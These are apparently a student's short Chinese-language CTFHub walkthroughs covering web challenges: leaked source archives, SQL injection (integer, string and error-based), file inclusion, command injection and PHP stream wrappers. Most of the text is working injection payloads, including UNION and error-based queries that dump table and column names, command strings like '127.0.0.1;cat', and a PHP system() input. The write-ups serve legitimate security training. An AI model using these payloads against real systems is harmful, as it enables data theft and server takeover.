1.ctfhub 网站源码
使用python脚本,一个个寻找,得到www.zip响应码为200,在浏览器中加入,得到flag
2.ctfhub bak文件
使用蚂蚁剑进行搜索,得到index.php里面有东西,我们使用浏览器进行访问,
得到flag
ctfhub sql注入整数型注入
先试试是否存在注入
?id=1 and 1=1
?id=1 and 1=2
存在注入
接下来判断字段数
?id=1 order by 1
?id=1 order by 2
?id=1 order by 3
然而3的之后报错了,说明字段数为2
接下来爆破数据库
?id=1 and 1=2 union select 1,database()
爆表名
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
爆出两个表,一个news
一个flag
很明显,flag就藏在这里了。
爆字段名
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
最后一步爆值
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
ctfhub 字符型注入
1' and 1=1 # #返回正确
1' and 1=2 # #返回错误
单引号是为了和前面自带的形成闭合
#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误
输入2时报错了,可以看出存在注入点
接下来我们猜字段数
-
1' order by 1 #
-
1' order by 2 #
-
1' order by 3 #
当为1' order by 3 # 报错,说明有两个字段
接下来爆数据库名
-1' union select user(),database() #
得到数据库名 sqli
接下来爆表名
-1' union select 999,group_concat(table_name)from information_schema.tables where table_schema='sqli' #
得到表名 news flag
爆列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #
得到flag
ctfhub 报错注入
根据mysql自带的数据库information_schema: 得数据库名,再得表名,列名,最后查flag
1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
表不止一个,得一个个去查
1 Union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
1 Union select count(*),concat((select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
得到列名flag
1 Union select count(*),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
得到flag
4.ctfhub 文件包含
request=get+post,
令file=shell.txt,然后查找根目录,看出了有flag
我们使用cat命令查找,flag
ctfhub 命令注入
输入127.0.0.1;ls查看根目录
然后我们需要拼接ip,我们使用cat命令进行操作,127.0.0.1;cat 56041130715196.php
按f12找到flag
ctfhub php://input
我们crtl输入allow查看
打开了,我们可以使用伪协议php://input 和<?php system('ls') ?>
使用命令执行的方式,得到flag
.ctfhub 远程包含
老方法,先看看能不能使用伪协议
和上一题有点类似
得到flag
8.ctfhub 读取源代码
一开始使用伪协议php://input,无反应,估计是allow关了,我们采用另外一种方式?file=php://filter/resource=/flag 得到flag